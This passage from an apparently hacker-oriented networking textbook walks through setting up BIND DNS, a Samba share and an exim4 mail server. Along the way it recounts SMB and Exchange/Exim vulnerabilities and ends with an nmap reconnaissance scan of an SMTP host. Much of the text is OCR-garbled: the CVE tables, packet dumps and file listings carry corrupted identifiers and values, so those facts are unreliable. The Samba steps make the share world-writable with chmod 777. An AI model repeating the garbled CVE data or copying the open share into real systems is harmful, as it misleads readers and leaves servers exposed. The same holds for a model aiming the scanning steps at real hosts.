ff If your ISP provided one or more IP addresses for stable

// nameservers, you probably want to use them as forwarders.

// Uncomment the following block, and insert the addresses replacing
f/ the all-0's placeholder.

ff forwarders {
£ 0.0.0.0;
/1

f/ ITf BIND logs error messages about the root key being expired,
f/ you will need to update your keys. See https://www.isc.org/bind-keys

dnssec-validation auto;

listen-on-vé { any; };

listen-on port 53 {localhost; 192.168.10/24; };
allow-query { localhost; 192.168.1.0/24; };
forwarders {75.75.75.75; };

recursion yes;

s

As you can see, we edited the highlighted paragraph to;
listen on port 53 from localhost and our local area network on 192.168.1.0/24;
allow-query on localhost and 192.168.1.0/24

use forwarder at 75.75.75.75 (where to forward DNS requests when your DNS server can't
resolve the query)

and enable recursion.

3. Next, let's open named.conf.local. This is where we define the zones file for our domain.
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*named.conf.local

File Edit Search Options Help

Fi

// Do any local configuration here
/r

// Consider adding the 1918 zones here, if they are not used in your
[/ organization
//include "/fetc/bind/zones.rfcl918";

zone "hackers-arise.com" {
type master;
file "/etc/bind/forward.hackers-arise.local";

}i

zone “0.168.192.in.addr.arpa" {
type master;
file "/etc/bind/reverse.hackers-arise.local”;

1i

Note that we defined the locations of our forward and reverse lookup zone files. Now, we need
to create these forward and reverse zone files.

Let's navigate to the /etc/bind directory. There you will see a file named db.local. This is a
template for our fowarder file. Let's copy it to a file named forward.hackers-arise.local.

¥

1s -1 fetc/bind

total 52

“rwW-r--r--
-rwW-r--r--
-rw-r--r--
-rw-r--r--
-rwW-r--r--
-rwW-r--r--
-rwW-r--r--
-rwW-r--r--
-rw-r--r--
-rwW-r--r--

root root 2761 :54 bind.keys

root root 237 , :54 db.0

root root 271 :54 db.127

root root 237 : db.255

root root 353 : db.empty

root root 270 ' :54) db. local

root bind 463 : :54 named.conf

root bind 498 :54 named.conf.default-zones
root bind 359 - :14 named.conf.local
root bind 992 i : named.conf.options
bind bind 77 ' : rndc. key
drwxr-sr-x root bind 4096 - o zones

-rw-r--r-- 1 root root 1317 , :54 zones.rfcl9lg

s ~F I

el el el el el

kali > cp db.local forward.hackers-arise.local
kali > leafpad /etc/bind/forward.hackers-arise.local

Let's open this file in leafpad and make a few changes by specifying our domain (hackers-
arise.com), the IP address of our DNS server (192.168.1.27), our mail server, and finally, the IP
addresses of the web server and email server.
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*forward.hackers-arise.local

File Edit Search Options Help

L

; BIND data file for local loopback interface

STTL 604800

@ IN SOA localhost. root.localhost. |
2 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL

; Name Server info

@ IN NS primary.hackers-arise.local. 4:::3

; IP address of Your DNS Server

primary IN A 192.168.1.27 <:::::j

; Mail Server MX Record

hackers-arise.local. IN MX mail{hackers—arise.local.<:::]

; A Record of Host Name
www N A 192.168.1.37
mail  IN A 192.168.1.47| <:l

Now, we need to create a reverse lookup file. Once again, we have a template in the /etc/bind
directory. In this case, it's named db.127. Let's copy it to reverse.hackers-arise.local.

kali > cp db.127 reverse.hackers-arise.local
Then, let's open that file with leafpad.

kali > leafpad /etc.bind/reverse.hackers-arise.local

132 |Page



*reverse.hackers-arise.local

File Edit Search Options Help

; BIND reverse data file for local loopback interface

$TTL 604800

@ IN SOA localhost. root.localhost. (
1 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
; Your Name Server
@ IN NS primary.hackers-arise.local.
primary IN A 192.168.1.27
; Reverse Lookup for your Name Server
27 IN PTR primary.hackers-arise.local. |
; PTR Records (these translate IP to Hostname)
37 IN PTR www . hackers-arise.local.|
47 IN PTR mail.hackers-arise.local.

Let's now make a few changes.

Under "Your Name Server" add;

primary.your domain.local.

The IP address of the name server

Under "Reverse Lookup" add;

the last octet of the IP address of the NS and primary.your domain.local.
Under "PTR Records" add;

the last octet of the webserver and www.your domain.local

the last octet of the mail server and mail.your domain.local.

4. In our final step, we just need to restart the service for our changes to be captured and
implemented.

kali > service bind9 restart

:~# service bind9 restart

=2 |
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For those of you prefer the new systemd commands, this works just as well.
kali > systemctl restart bind9

Now, our BIND server is ready to resolve DNS queries on our local area network!
Summary
DNS is among the essential communication protocols for the smooth functioning of your internet
access, translating human-readable domain names to router-readable IP addresses. There has
been a number of security threats to DNS, including stealing DNS admin credentials and
changing zone files, and Denial of Service (DoS) attacks.
Exercises

1. Use a text editor to open your hosts file

2. Build a BIND DNS server for your domain
3. Search the CVE database for any new DNS vulnerabilities
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Chapter 9

Server Message Block (SMB)

In this chapter, we will address Server Message Block or SMB.
Although most people have heard the acronym, few really
wmm understand this key protocol. It may be the most impenetrable and
least understood of the communication protocols, but so critical to
| the smooth functioning of your network and its security.
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What is SMB?

Server Message Block (SMB) is an application layer (layer 7) protocol that is widely used for
file, port, named pipe, and printer sharing. It is a client-server communication protocol. It
enables users and applications to share resources across their LAN. This means that if one
system has a file that is needed by another system, SMB enables the user to share their files with
other users. In addition, SMB can be used to share a printer over the Local Area Network (LAN).

SMB over TCP/IP uses port 445.

0851 Layers SMBICIFS Protocol Layer
Layer 7:
Application SMBI/CIFS
(MS-BRWS, MS-5MS, MS-SMEBZ)
Layer &:
Presentation 1
v v ¥
Layer 5: Session MelBIOS NetBIDS ‘ NetBIOS
Layer 4:
Transporation Tce | NetBELI J
W
Layer 3: Metwork P IPX
Layer 2: Data link Data link l
Layer 1; Physical Physical Media

IPXISEX = Internet Packel Exchange/Sequenced Packel Exchange
MNelBIOS = Network

MNalBEUI = MelBIOS Extended User Intarface

MS-BRWS = CIFS Browser Protocol = Microsoft Browser

SMB is a client-server, request-response protocol. The diagram below illustrates the request-
response nature of this protocol. Clients connect to servers via TCP/IP or NetBIOS. Once the
two have established a connection, the clients can send commands to access shares, read and
write files, and access printers. In general, SMB enables the client to do everything they
normally do on their system but over the network.
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SMB was first developed by IBM in the 1980s (the dominant computer company from the 1950s
through the mid-1990s) and then adopted and adapted by Microsoft for its Windows operating
system

CIFS

The term CIFS and SMB are often confused by the novice and cyber security professional alike.
CIFS stands for “Common Internet File System.” CIFS is a dialect or a form of SMB. That is,
CIFS is a particular implementation of the Server Message Block protocol. It was developed by
Microsoft to be used on early Microsoft operating systems.

CIFS is now generally considered obsolete as it has been supplanted by more modern
implementations of SMB, including SMB 2.0 (introduced in 2006 with Windows Vista) and
SMB 3.0 (introduced with Windows 8 and Server 2012).

SMB Vulnerabilities

SMB in Windows and Samba in Linux/Unix systems (see below) has been a major source of
critical vulnerabilities on both these operating systems in the past and will likely continue to be a
source of critical vulnerabilities in the future. Two of the most critical Windows vulnerabilities
over the last decade or so have been SMB vulnerabilities. These include MS08-067 and, more
recently, the EternalBlue exploit developed by the NSA. In both cases, these exploits enabled
the attacker to send specially crafted packets to SMB and execute remote code with system
privileges on the target system. In other words, armed with these exploits, the attacker could take
over any system and control everything on it.
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For a detailed look at the EternalBlue exploit against Windows 7 by Metasploit, see my tutorial
here (_https://www.hackers-arise.com/post/2017/06/12/metasploit-basics-part-8-exploitation-with-
eternalblue)

In addition, the Linux/Unix implementation of SMB, Samba, has had its own problems as well.

Although far from a complete list of vulnerabilities and exploits, when we search Metasploit for
smb exploits, we find the considerable list below.

msf> search type:exploit smb

Note the highlighted infamous MS08-067 exploit responsible for the compromising of millions
of Windows Server 2003, Windows XP, and earlier systems. Near the bottom of the list, you can
find the NSA's EternalBlue exploit (MS17-010) that the NSA used to compromise an untold
number of systems and then--after its release by Shadowbrokers--was used by such ransomware
as Petya and WannaCry.

In the Network Forensics section at Hackers-Arise, I have detailed packet-level analysis of the
EternalBlue exploit against SMB on a Windows 7 system (https://www.hackers-
arise.com/post/2018/11/30/network-forensics-part-2-packet-level-analysis-of-the-eternalblue-

exploit).
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13000245 193,068,150, M5 AR RGE, AR, 2 = 33 Trans2 Besponse, SESSI0N SETW®, Errec: STATUS N7 _IMPLDMINTIO
14 0004562 192,168,195, 204 192,168, 196.203 ]
15 9. 895048 192.168. 1968, 203 152,168, 196 284 =8 CERII NEIPONLE, tuARnmwn (8
16 9.095208 192,168,150, 0t 192,168,190, 193 =9 417 Tranz2 Secondory Request, FID: Gdded

Process 10 High: &

Signature: BODRAARDREGIREDD

Reserved: @000

Tree 10: 3048 (\\192.165.195.203\1PCH)
Process I0: 45275

User T0: 2848

Max Setup Count: 1L

REsarved: @002
Tatal Parszeter Count: 30

0050 00 00 B 03 1 fc 0D 03 21 00 00 lc 09 - [TE

L)

NT Trans Request

EEE

00 99 00 0 90 00 00 2D 00 00 M 24
o 0 91 00 60 00 00 00 GO 0 00 &0 LD 00 Header
£0 00 60 00 00 00 29 00 00 00 00 00 0O B0 B9 00
22 90 B2 22 20 0D 82 00 02 D2 20 B2 B2 M0 09 82
82 90 0D 09 92 00 89 00 00 20 20 02 0O 0 99 89
00 00 00 00 00 80 09 00 00 00 00 0O DO ) 09 00
©0 00 00 00 00 90 09 00 00 00 00 0O DX ) 09 00
o 60 G0 09 00 90 6O 63 00 0 00 60 00 04 60 04 08
Y 00 @D 0 00 G0 6O 0O 00 00 00 00 00 04 G0 04 00
00 00 00 00 90 00 00 00 00 09 00 0O B0 00 B9 00
00 00 00 00 00 00 00 00 00 0 00 00 00 00 B9 00
00 00 60 00 00 00 00 00 00 ) 00 0O 0O B0 B9 00
00 00 60 0 90 00 00 00 00 B0 00 00 DO B0 B9 00

Building a Samba Server in Kali Linux

While SMB was originally developed by IBM and then adopted by Microsoft, Samba was
developed to mimic a Windows server on a Linux/UNIX system. This enables Linux/UNIX
systems to share resources with Windows systems as if they were Windows systems.

HOST

i
PORT 445 | porrsor |
I.EE - )
L e ..;.' T
LINTIX WINTHOWS SWAT

CONETG

Sometimes the best way to understand a protocol or system is simply to install and implement it
yourself.

Here, we will install, configure and implement Samba on a Linux system. As usual, I will be

using Kali--which is built upon Debian-- for demonstration purposes, but this should work on
any Debian system, including Ubuntu and usually any of the wide variety of *NIX systems.
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Download and Install Samba

The first step, if not already installed, is to download and install Samba. It is in most repositories,
so simply enter the command;

kali > apt-get install samba

root@kali:-# apt-get install samba

Reading package lists... Done

Building dependency tree

Reading state information... Done

The following packages were automatically installed and are no longer required:
glusterfs-common ibverbs-providers libacll-dev libattrl-dev
libboost-randoml.62.8® libcephfsl libibverbsl librdmacml libunbound2
python-jwt

Use 'apt autoremove' to remove them.

The following additional packages will be installed:
libgnutls-dane® Llibgnutls3® libhogweed4 1ibldbl libnettle6 libsmbclient
libunbound8 libwbclient® python-ldb python-samba samba-common
samba-common-bin samba-dsdb-modules samba-1libs samba-vfs-modules smbclient
winexe

suggested packages:
gnutls-bin python-gpgme bind9 bind9utils ctdb ldb-tools smbldap-tools ufw
winbind heimdal-clients cifs-utils

Recommended packages:
libcephfs2 libgfapie

The following NEW packages will be installed:

Start Samba

Once Samba has been downloaded and installed, we need to start Samba. Samba is a service in
Linux, and like any service, we can start it with the service or systemctl command.

kali > service smbd start
Note that the service is not called "Samba" but rather smbd or smb daemon.

root@kali:-# service smbd start
root@kali:~# |

Configure Samba

Like nearly every service or application in Linux, the configuration can be done via a simple text
file. For Samba, that text file is at /etc/samba/smb.conf. Let's open it with any text editor.

kali > leafpad /etc/samba/smb.conf
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smb.conf [~ - ]
File Edit Search Options Help
1l

Sample configuration file for the Samba suite for Debian GRU/Linux.

This is the main Samba configuration file. You should read the
smb.conf(5) manual page im order to understand the options listed
here. Samba has a huge number of configurable options most of which
are not shown in this example

Seme options that are often worth tuning have been included as
commented-out examples in this file.
- When such options are commented with ";", the proposed setting
differs from the default Samba behaviour
- When commented with "#%, the proposed settimg 5 the default
behaviour of Samba but the option is considered important
enough to be mentioned here

I & LA B Ka

bt ot et ot et et

ol

& 9k W W W TR W O ER W SR W Ik W R kW T

NOTE: Whenever you modify this file you should run the command
"testparm” to check that you have not made any basic syntactic
errors.

[

==================== [Global Settings =======================

24 [global]
26 ## Browsing/Identification ###

28 # Change this to the workgroup/NT-domain name your Samba server will part of
29 workgroup = WORKGROUP

31 #@Fe Networking #asd

32

33 # The specific set of interfaces / networks to bind to

34 # This can be either the interface name or an IP address/netmask;

i5# interface names are normally preferred

36 ; interfaces = 127.0.8.0/8 eth@

We can configure Samba on our system by simply adding the following lines to the end of our
configuration file.

[HackersArise share]

comment=5amba on Hackers-Arise
path= /home/0TW/HackersArise share
read only = no

browsable = yes

In our example, we begin with the;

naming our share [HackersArise share];

providing a comment to explain comment = Samba on Hackers-Arise;
provide a path to our share path = /home/OTW/HackersArise_share;
determine whether the share is read only read only = no;

determine whether the share is browsable browsable = yes.

Note that the share is in the user's home directory (/home/OTW/HackersArise share), and we
have the option to make the share "read-only."

Creating a share
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Now that we have configured Samba, we need to create a share. A "share" is simply a directory
and its contents that we make available to other users and applications on the network.

The first step is to create a directory using mkdir in the home directory of the user. In this case,
we will create a directory for user OTW called HackersArise share.

kali > mkdir /home/OTW/HackersArise share

:~# mkdir /home/0TW/HackersArise share

Once that directory has been created, we need to give every user access to it by changing its
permissions with the chmod command.

kali > chmod 777 /home/OTW/HackersArise share

:~# chmod 777 /home/0TW/HackersArise share

Now, we need to restart Samba to capture the changes to our configuration file and our new
share.

kali > service smbd restart

:~# service smbd restart

With the share created from any Windows machine on the network, you can access that share by
simply navigating via File Explorer to the share by entering the IP address and the name of the
share, such as;

\\192.168.1.101\HackersArise_share
Summary

SMB is a critical protocol on most computer systems for file, port, printer, and named pipe
sharing. It is little understood and little appreciated by most cyber security professionals, but it
can be a critical vulnerability on these systems, as shown by MS08-067 and the NSA's
EternalBlue. The better we understand these protocols, the better we protect our systems from
attack and compromise.

Excercises

1. Build a SAMBA server for your domain
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Chapter 9

Simple Message Transfer Protocol
(SMTP)

In this chapter, we will examine the Simple Mail
Transport Protocol (SMTP), the protocol most of
us could not live without!
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What is SMTP?

Simple Mail Transport Protocol, or SMTP as it is commonly known, is among the most
important protocols in our digital age. It is used to transfer email from one user to another.
Although SMTP was first codified in 1983, it is still this same protocol that carries nearly all
emails with some enhancements.

Mail Server Mail Server
maildomain-abc.com maildomain-xyz.com
SMTP
POP3 POP3
SMTP
IMAP SMTP| | ImaP
-
Ana@maildomain-abe.com Lavi@maildomain-zyz.com

As the diagram above displays, the client Ana@maildomain-abc.com sends an email to the MTU
server via SMTP and retrieves email via either POP3 or IMAP. The same is true for the other
client, Lav@maildomain-xyz.com. Communication between the email servers or MTUS is
exclusively SMTP on port 25. POP3 uses port 110, and IMAP uses port 143.

The Email Processing Model

First, email is submitted by an email client or mail user agent (MUA), such as Microsoft
Outlook, Mozilla, etc., to the email server (mail server agent or MSA) using SMTP on port 587.
This email is then transferred to the MTU. Most often, these two agents (MUA and MTU) are
the same system managed by a single piece of software.

The boundary MTA uses DNS to look up the MX record of the recipient's domain (see DNS).

This record includes the name of the target MTA. We can demonstrate this with the dig
command.
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:~$ dig microsoft.com mx

<<>> DiG 9.16.4-Debian microsoft.com mx

global options: +cmd

Got answer:

—»HEADER«— opcode: QUERY, status: NOERROR, id: 18563

Flags: gr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: &4, ADDITIONAL: 5

s OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
= QUESTION SECTION:

icrosoft.com. IN

;; ANSWER SECTION:
microsoft.com. \ 1@ microsoft-com.mail.protection.outlo
ok.com.

35 AUTHORITY SECTION:
microsoft.com.
microsoft.com.

micro

microsoft.com.

= = =
T

w

.azure-dns.
.azZure-dns.
ns1-205.azure-dns.
ns4-205.azure-dns.

=

+; ADDITIONAL SECTION:
51-205.azure-dns.com.
.azZure-dns.com.
ns2-205.azure-dns.net.
ns2-205.azure-dns.net.

[ SR ]
A )

(% I

The MTA selects the target host, connects to it, and sends the message.
Once the server receives the incoming message, it hands it to a mail delivery agent (MDA) for

delivery to the local recipient. Once the message is delivered to the local mail server, the email is
stored for retrieval by an authenticated MUA.

Types of MTUs

There are multiple mail transfer units used on various systems. In Linux, the major players are
sendmail, EXIM, and postfix. On Microsoft's operating system, the major player is Microsoft's
Exchange Server.

Packet-Level Analysis with Wireshark

When we capture packets going to an SMTP server, it looks something like that below.

146 |Page



-
-
2000004 H25) = <1 L Wlaedhi00 Leaed RIS=1460 SACK_PERM-1 WS=118 |
3 0. 000183 T & 83310 - EEp(2%) [ACR] Seg-1 Ack-1 WiA-S5EME Lin=0
RO T LHTH & D: 33 mallll ELNTR Pestfin (Liunts)
5 0.NTREE E 76 C: EHLO [192.16.14.235] —
£ 0.957102 172.16.16. 221 T 54 ptp(25) = 43013 [ACK] Seqe36 Acke2D Win=29312 Lensd I
7 0. 857204 173.16.16. 330 o2 LHTR 183 51 150-mallbl | PIPELINING | SIZE Z0340000 | VEFY | ETRM | STARTTLS | EISLANCIDSTATUSCOOLS | SDITHIME | oSN
8 0.0581TH 172.16.16. 225 17 5,221 SHTP 97 €1 PAIL FROM1<sandersfsionet.locals SIZE=556
9 8.850355 172.16.16. 221 172.16.16,225 SHTF &2 51 258 2.1.8 Ok
10 0. SL813 172.16.16.22% 172.16.16.221 HTe + REPT TO:Caaader sficyberdyme. locals L
11 96018 173, 16,16, 230 1720616, 225 TP 51 2% I.1.% Ok _—
 Frome 13 84 bytes en wire (328 blrs), 64 bytes [rre—— Y
T thernet 51, Sre: VMware_sbiefibd (0iRci29iad - B3t VIbArE_? 2 0e3 293 eI}
* Internet Protecol Wersion 4, $roi 172.16.16.223 (172.16.06.215), @511 472.16.16.221 (172.16.16.211)
. [ransadssion Zontrol Protecol, Src Porks 4533 (49313}, Ot Port: saip (25); Seqr @, Lem: @ |
B0 0c 29 70 o 23 00 &c 1P ad I bd DE 80 45 00 ol bk
00 34 18 b1 43 0D B0 85 6 M ac W10 el ac 10 4§ 14
18 o5 ob a1 @ 19 7 45 £3 74 20 & 00 2 9 02 F -}
2000 11 B 00 00 02 &4 95 b 01 0 03 o5 8L 01
o4 o
O 7 mad_ander_server_Tocaeng Packeass X = Displayed: 3 {500.0%] Proie: Deda

Note that in packets 1-3, an outside client is completing a TCP three-way handshake. In packet 4,
the SMTP server identifies itself as "mail01" and a Postfix server on Ubuntu and begins using
the SMTP protocol for communication. In packet 5, the client issues the EHLO command
initiating communication. In packet 8, the client identifies the email sender, and in packet 10, the
email receiver.

Building an SMTP (EXIM4) Server in Linux

Let's now set up an SMTP server in our Kali Linux. In this case, we'll install exim4, the most
widely used email server on Linux systems.

We can download exim4 from the Kali repository.

kali > sudo apt install exim4

e

install exima[]

Next, we need to execute a configuration wizard that walks us through the configuration of the
exim4 server.
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kali > sudo dpkg-reconfigure exim4-config

exim4-configlh

This starts a configuration wizard that queries us for information to configure the email server.

The first question is about the type of mail server. If you want to set up your server to send and
receive email across the Internet, select the first choice.

Package configuration

1 Mail Server configuration |
Please select the mail server configuration type that best meets your needs.

Systems with dynamic IP addresses, including dialup systems, should generally be configured to send outgoing mail to
another machine, called a ‘'smarthest' for delivery because many receiving systems on the Internet block incoming mail
from dynamic IP addresses as spam protection.

A system with a dynamic IP address cam receive its own mail, or local delivery can be disabled entirely (except mail
for root and postmaster).

General type of mail configuration:

¢ t and received directly sing 5
mail sent by smarthost; received via SMTP or fetchmail
mail sent by smarthost; no local mail
local delivery only; noton a network
no configuratiomiat. this time

<0k <Cancel>

Next, you need to provide a domain name that you own. In my case, I used www.hackers-
arise.com.

Fackage configuration

{ Mail Server configuration |
The *mail name® is the domain name used to "qualify’ mail addresses without a domain name.

This name will also be used by other programs. It should be the single, fully qualified domain name (FQDN).

Thus, if a mail address on the local host is fooRexample.org, the correct value for this option would be example.org.

This name won't appear on From: lines of couigeoing messages if rewriting is enabled.

System mail name:

<Cancel>

Next, we need to provide the IP address for the server to listen.

148 |Page



Package configura

1 Mail Server configuration |
Please enter a semicolon-separated list of IP addresses. The Exim SMTP llstonor daemon will listen on all IP
addresses listed here.

An empty value will eause Exim to listen for connections on all available network interfaces.

If this system only receives mail directly from local seérvices (and not from other hosts), it is suggested to
prohibit external connections to the local Exim daemon. Such services include e-mail programs (MUAs) which talk to
localhost only as well as fetchmail. External connections are impossible when 127.0.8.1 is entered here, as this will
disable listening on public network interfaces.

IP-addresses to listen on for incoming SMTP connections:

<Caneels

Here, we need to provide a list of recipient domains or local domains. The default is Kali, and I
left that in place.

Package configurat

Mail Server configuration
Please enter a semicolon-separated list of re:ipien: domains for which this machine should consider itself the final
destination. These domains are commonly called "lecal domains®. The local hestname (kali) and "lecalhost” are always
added to the Llist given here.

By default all local domains will be treated idemtically. If both a.example and b.example are local domains,
accia.example and acc@b.example will be deliversd to the same final destination. If different domain names should be
treated differently, it is necessary to edit the config files afterwards.

oOther destinations for which mail is accepted:

= TN EIE YYD
<0k= <Cancel>

Next, we need to provide a list of recipient domains that this system will relay mail to. It is OK
to leave it blank.

Mail Server configuration |
Please enter a semicolon-separated Llist of re:ipient domains for which this system will relay mail, for example as a
fallback M¥ or mail gateway. This means that this system will accept mail for these dosains from anywhere on the
Intarnet and deliver them according to local delivery rules.

Do not mention local domains here. Wildcards may be used.
Domains to relay mail for:

<Cancel>

Next, we need to select the delivery method for local mail. We can choose between the mbox
format of /var/mail or the home directory.
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ge configuration

{ Mail Server configuration }
Exim is able to store locally delivered email in different formats. The most commonly wsed ones are mbox and Maildir.
mbox uses a single file for the complete mail folder stored inm Jfvar/mail/. with Maildir format every single message
is stored in a separate file in ~/Maildir/.

Please note that most mail tools in Debian expect the local delivery smethod to be mbox in their default.

Delivery method for local mail:

Maildir format in home directory

“Cancels

Next, we are queried regarding the DNS queries. If we want to minimize the DNS lookups,
select YES.

{ Mail Server configuration }

In normal mode of operation Exim does DNS lookups at startup, and when receiving or delivering messages. This is for
logging purposes and allows keeping down the number of hard-coded values in the configuration.

If this system does not have a DN5S full service resolver available at all times (for example if its Internet access
is a dial-up line using dial-on-demand), this might have unwanted consequences. For example, starting up Exim or
running the queue (even with no messages waiting) might trigger a costly dial-up-eévent.

This option should be selected if this system is using Dial-on-Demand. If it has always-on Internet access, this
option should be disabled.

Keep number of DNS=-queries minimal (Dial-on=-Demand)?

-

<Yes> |4 O, :".'l'ml.x'“]'.f'-"-"'“

{ Mail Server configuratiom |
Please enter a semicolon-separated Llist of recipient domains for which this system will relay mail., for example as a
fallback MX or mail gateway. This means that this system will accept mail for these domains from anywhere on the
Internet and deliver them according to local delivery rules.

Do not mention local domains here. Wildcards may be used.

Domains to relay mail for:

<Cancel>

Finally, we need to select whether to split the configuration file for the exim4. Unsplit is more
stable, while split makes it easier to make changes. I selected unsplit or NO.
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onfiguration

{ Mail Server configuration |

The Debian eximé packages can either use ‘unsplit configuration®, a single monolithic file
(fetc/eximifexims.conf.template) or "split configuration®, where the actual Exim configuratien files are built from
about 50 smaller files in fetc/eximéfconf.d/.

Unsplit cenfiguration is better suited for large modifications and is generally mere stable, whereas split
configuration offers a comfortable way to make smaller modifications but is more fragile and might break if modified

carelessly.

A mare detailed discussien of split and unsplit configuration can be found in the Debian-specifie README files in
fusr/share/doc/eximt-base.

Split configuration into small files?

<Yess are

Now, we only need to start our exim4 server, and our email server is activated and ready to send
and receive email!

Vulnerabilities in SMTP

2021 was marked by a major vulnerability found in Microsoft Exchange Server, presumably by
Chinese hackers. These vulnerabilities enabled these hackers to access many large corporations
and institutions' email records. The impact of this hack was so large and serious that the FBI was
given authorization to patch Exchange Server systems throughout the US.

You can see the vulnerabilities below.

2L CVE-ZO9Z1-FiL19E ET Exgc Cody 2021-03-11 ZOZZ-04-29 {x] Mang Ramste Pl gdrum Mot raguingd Bamial Partial ramial

Migraiaft Exchanga Server Ramata Code Exasuticn Valnarability This CVE ID 12 wnigue frem CUE-2021-31193.

22 CVE-2021-21156 Exgc Coda 2021-07-14 2021-D7-17 6.5 Heng Ramsote Low e Pamial Partial Pamial

Microzoft Exchange Server Ramate Code Exacution Vulnarakility Thiz EVE IO i wnigue fram CWE-2021-31206, OVE-2021- 3447 3,

2 CVE-2OR .23 108 Exac Cade 20210811 20210517 &8 Baong Ramote Madium Kot réquired Bamial Erartlal Partial

Migroroft Exchasge Server Remote Code Execution Valnarakility Thiz CVE [0 iz wnigue From CUVE-2021-3115948.

28 CVE-Z021-28482 Exac Coda 2021-04-13 2021-04-14 E Mang Leocal Low e Cemplats Complata Camplats
Plamwaarh:

Micrasaft Exchange Server Famoce Code Execution Vulnarakilicy This CWE ID s dnigue fram CWE-ZOZL-28480, CWVE-2021-28481, CWE-Z0Z 1- 28482,

25 QVE-2021-28462 Exee Code 2021-04-13 2021-04-14 R tene Ramite Lew e Camplete Complate Complate

Migrazaft Exchange Server Remate Code Exegution Vulnarakilicy This OVE ID i3 unigue fam CVE-Z021-28480, CVE-2021-28481, CVE-2021-28483.

26 CVE-2021-28481 Exde Coda 2021-04-13 202:-04-34 [JEEER  sene Ramsty Lew Netrequired  Complate Complats Complets

Micrasaft Exchange Server Remote Code Exacution Wulnarabilicy This CWE ID is wnigue fram CWE-2021-28480. CVE-2021-28482, CVE-202 1- 28483,

27 CNE-2021: 28480 Exee Code 2021-04-13 2021-04-14 - Mese Remste Low Nt required  Complete Complote Complete

Micrasaft Exchange Server Remote Code Execution Vulnerability This CWE 1D is wnigue fram CVE-2021-28481. OWVE-2021- 22582, OVE-2021-28483.

28 CVE-Z021-2707E Exac Cada 2021-03-03 ZO0Z1-D3-08 Y Mang Ramets Loy I Samial Bartial Bamial

Micraiaft Exchange Servar Ramote Code Exacution Vulnarability This CSVE 10 12 wnique fram CVE-Z02 126812 CVE-202 1. 26854, OVE- 202 120055, CVE-2021-26837,
CVE-2021-26858, CVE-2021-27 065,
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In addition, in 2020, exim email servers had two severe vulnerabilities that allowed unauthorized
access to email stored on these servers.

Exim » Exim : Security Vulnerabilities

OV Soomy Crpater Thar: & 2 3 3 & & & F & &
et Remolts By = OVE Mumiber Descerding  OVE Humber fasending  CVES Scove Desceodiony  Kussber O Expleds Dessending

Copy Bagultg Downl 1
[ EVE 1 CWE o« of wulnersbilicy Publish Oale update Dute sCore calkned Agcess  Compledty  Authentication cond, Integ. Aveall,
L Cxploits Typeeish ALCES
L]
1 CVE-Z2021-3857]1 14 Z021-08-10 Z0Z1-06-20 5.0 Mene Ramete Lew ot required Mene Partial Hane
The STARTTLS feature in Exim throwgh 4,94.2 allows respanse injection [buffering) during MTA SMTR sanding.
2LVE-Z02]-27 216 259 2021-05:06 2021-051F 5.3 Mone Local Mediwm Not required Mane Complete Complete

Exim 4 befere 4.594.2 has Execution with Unnecessary Privilegaes, By leveraging a dalete_pid_Rle race condition, a lacal user can dalete arbitrary files as root. This invelves the <o and -08X
SELERE,

3 CVE-2020-28026 Exas Code z02:-05-06 2022-07-12 BNl  tenre  Remcte Madiem Notrequired  Complate Complete Complets

ien of Ling Delimiters. relevant in non-defawlt configurations that enable Delivery Status Notification [DSM). Certain uses of ORCPT= can place a

Exim 4 before 4.94.2 has Improper Nautralizat
1 - - & I TR

4 CVE-2020-28025 125 ~Infa ZO21-05-06 2024-05-10 30 Mene  Remete Lew Neot required Partial Menk Hang
Exien 4 before 4.94,2 allows Out-of-baunds Read becavse pdkim_finish_bodyhash does net validate the relationship bebween sig->bodyhashlen and b->bhi.len; thus, 3 crafted OHIM-Signature
header might lead 1o 3 leak of seasitive informazion from pracess memary,

S CVE-2020-28024 115 Crverflew 202:-08-06 2021-05-10 |FSN Mens  Remets L Nt required Barial Bartial Farrisl
Exim 4 before 4.94.2 allows Buffer Undenwrite that may resultin unauthenticated remote attackers execwting arbitrary commards., because smtp_ungetc was osly intended to push back
characters, but can actually push back non-charactar errer codes such 23 EOR

& CVE-2030-28023 A28 Z021-08-06 Z021-05-10 5.0 Meng Ramste Lew Nt required Parrisl Meng Hane
Exim 4 before 4.54,2 allows QutrcFbounds Read, smtp_setup_msg may disclose sensitive infarmation from process memory to an unawthanticated SMTP clisnt,

7 CVE-2020-28022 iis Orverflen 2021-05-06 2021-05-10 |_M_‘| Mene Remate Lew Kot required Partial Partial Partial
Eximn 4 before 4.94.2 has [Improper Rastriction of ‘Write Oparstions within the Baunds of & Memary Buler This cccurs whan precessing mamasyvilug pairs within MAIL FROM gnd RCET TO
CETMMAnGE,

——
8 CVE-2020-28021 Exec Code 2021-05-06 2021-05-10 [EE]  Mere  Remete Lew Ed Complete Complete Complete

Exien 4 baofore 94,2 hae Improper Mawtralization of Line Delimiters. An suthonticated ramate SMTP cliant can inzart navwling characters ints 3 spoel fla [whick indirsctly leads to remata code
AECULich 33 mq:} vikh AUTH= in 3 MAIL FROM cemmand.

9 CVE-2030-38020 isp Exgg Code Z021-05-06 2021-05-0F | 7.5 Meng Ramsete L Kot raquired Parial Pyl Parrial
Cwarllen
Exien < before 4.52 sllows Integer Owerflow to Bulfer Swerflow, in which an unauvthenticated remote attacker can execute arbitrary code by leveraging the mishandling of centinuation lines during

headar- |'.'|;'.h rasriction.

Reconnaissance and Hacking SMTP

Before attempting any exploit, the first step is to do proper reconnaissance. nmap is the tool of
choice for port scanning. Let's scan our SMTP service to see what ports and services are running.

We can do a TCP scan on port 25 (the default SMTP port) with nmap and include the -A switch
to attempt to determine the service running on that port, such as;

kali > nmap -sT -A 192.168.56.103 -p25
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:~$ nmap -sT -A 192.168.56.103 -p25
Starting Nmap 7.80 ( https://nmap.org ) at 2020-12-29 11:30 EST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disa
bled. Try using --system-dns or specify valid servers with -—dns-servers
Nmap scan report for 192.168.56.103
Host is up (0.00043s latency).

PORT STATE SERVICE VERSION
25/tcp open smtp Exim smtpd 4.68

smtp-commands: localhost Hello nmap.scanme.org [192.168.56.101], SIZE 524
28800, EXPN, PIPELINING, HELP,
| _ Commands supported: AUTH HELO EHLO MAIL RCPT DATA NOOP QUIT RSET HELP EX
PN VRFY
Service Info: Host: localhost

Service detection performed. Please report any incorrect results at https:/
/nmap.org/submit/ .
